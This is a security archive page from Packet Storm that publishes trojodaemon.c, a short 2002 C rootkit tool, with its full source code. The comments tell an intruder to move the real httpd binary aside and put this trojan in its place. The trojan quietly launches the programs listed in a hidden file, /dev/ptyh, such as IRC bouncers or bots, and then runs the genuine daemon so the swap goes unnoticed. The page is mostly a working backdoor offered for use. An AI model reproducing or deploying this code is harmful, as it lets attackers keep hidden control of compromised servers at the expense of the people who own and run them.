what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

trojodaemon.c

trojodaemon.c
Posted May 29, 2002
Authored by Devilnet

Trojodaemon is a simple tool which allows you to start a process at boot.

tags | tool, rootkit
systems | unix
SHA-256 | b1fcc4788983fd70ebc08005a5413768ba7bc47799379e6b828fa0c31c48f9eb

trojodaemon.c

Change Mirror Download
/*   ......:::: daemon trojo by DeV^AwaY ::::......
*
*
* [*] --> coded by: DeV^AwaY
* [*] ------------> devilnet@freemail.it
* [*] ------------> ircnet/efnet@DeV^AwaY
* [*] --> V3rsion: 0.2
*
* install:
* To install this trojan you should copy the real daemon in another
* directory !WITH THE SOME NAME!. Then you should compile this source on the
* real daemon file in its some directory.
* So write in /dev/ptyh all path/commands to execute with
* daemon. If you must use options with commands you must divide they
* with the $ character.
* Ex:
*
* cat /dev/ptyh
* /home/hacker/. /psybnc <-- without options
* /home/hacker/bot/eggdrop$ -m bot.conf -t <-- with options
* /home/hacker/. $ <-- to run the file ". "
*
* Default
* trojo daemon /usr/sbin/httpd
* real deamon /usr/bin/httpd #EXE_PATH
*
*/

#include <stdio.h>
#include <stdlib.h>

#define TRJ_PATH "/dev/ptyh"
#define EXE_PATH "/usr/bin/httpd"

main (int argc,char **argv,char **envp) {

char fstr[200],**addr=malloc(200),slas[500],slaw[500];
int i,ic=1,deic,sllen;
FILE *ofile;

if (fork() == 0) {
if ((ofile=fopen(TRJ_PATH,"r"))==NULL) exit(0);

while (!feof(ofile)) {
fgets(fstr, 200, ofile);
for (i=0; i<strlen(fstr); i++) if (fstr[i]=='\n') fstr[i]='\0';
addr[ic]=malloc(200);
strcpy(addr[ic],fstr);
ic++;
}

deic=ic-2; ic=0;

while (ic!=deic) {
ic++;
i=0;
memset(slaw, 0, 500);
strcpy(slas,addr[ic]);
sllen=strlen(slas);

while (i!=sllen) {
if (slas[i]=='$') {
(slas[i]='"');
goto out; }
else i++;
}

out:
if (sllen==i) strcat(slas,"\"");
strncpy(slaw,slas,i);
if ((ofile=fopen(slaw,"r"))==NULL) exit(0);
strcpy(addr[ic],slas);
strcpy(addr[ic],"cd \"");

while (sllen!=0) {
if (slas[sllen]=='/') goto out2;
else sllen--;
}
out2:
strncat(addr[ic],slas,sllen);
strcat(addr[ic],"\" && \".");
strcat(addr[ic],slas+sllen);
strcat(addr[ic]," 1>/dev/null 2>/dev/null &");
system(addr[ic]);
}
exit(0);
}

if ((ofile=fopen(EXE_PATH,"r"))==NULL) {
printf("bash: %s: No such file or directory\n",EXE_PATH);
exit(0);
}

execve(EXE_PATH, argv, envp);

}
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close